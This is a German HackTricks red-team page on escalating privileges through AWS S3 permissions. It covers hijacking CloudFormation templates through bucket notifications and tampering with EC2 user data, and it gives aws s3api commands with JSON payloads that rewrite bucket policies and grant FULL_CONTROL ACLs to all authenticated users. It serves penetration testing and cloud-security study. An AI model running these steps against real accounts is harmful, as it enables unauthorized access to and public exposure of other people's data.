AWS - S3 Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Ein Angreifer mit diesen Berechtigungen über interessante Buckets könnte Ressourcen übernehmen und Berechtigungen eskalieren.

Zum Beispiel kann ein Angreifer mit diesen Berechtigungen über einen CloudFormation-Bucket namens "cf-templates-nohnwfax6a6i-us-east-1" das Deployment übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

Und die Übernahme ist möglich, weil es ein kleines Zeitfenster vom Zeitpunkt des Hochladens der Vorlage in den Eimer bis zum Zeitpunkt des Bereitstellens der Vorlage gibt. Ein Angreifer könnte einfach eine Lambda-Funktion in seinem Konto erstellen, die ausgelöst wird, wenn eine Eimerbenachrichtigung gesendet wird, und den Inhalt dieses Eimers übernimmt.

Das Pacu-Modul cfn__resouce_injection kann verwendet werden, um diesen Angriff zu automatisieren. Für weitere Informationen siehe die ursprüngliche Forschung: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Dies sind die Berechtigungen zum Abrufen und Hochladen von Objekten in S3. Mehrere Dienste innerhalb von AWS (und außerhalb davon) verwenden S3-Speicher, um Konfigurationsdateien zu speichern. Ein Angreifer mit Lesezugriff darauf könnte sensible Informationen darin finden. Ein Angreifer mit Schreibzugriff darauf könnte die Daten ändern, um einen Dienst zu missbrauchen und zu versuchen, Berechtigungen zu eskalieren. Hier sind einige Beispiele:

  • Wenn eine EC2-Instanz die Benutzerdaten in einem S3-Eimer speichert, könnte ein Angreifer sie ändern, um beliebigen Code innerhalb der EC2-Instanz auszuführen.

s3:PutBucketPolicy

Ein Angreifer, der aus demselben Konto stammen muss, andernfalls wird der Fehler Die angegebene Methode ist nicht zulässig ausgelöst, kann sich mit dieser Berechtigung zusätzliche Berechtigungen über die Eimer gewähren, die es ihm ermöglichen, Eimer zu lesen, zu schreiben, zu ändern, zu löschen und freizulegen.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Buckets zu verschaffen. Beachten Sie, dass der Angreifer nicht aus demselben Konto stammen muss. Darüber hinaus der Schreibzugriff.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Objekte in Buckets zu verschaffen.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, einem bestimmten Objektversion eine Acl zuzuweisen.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated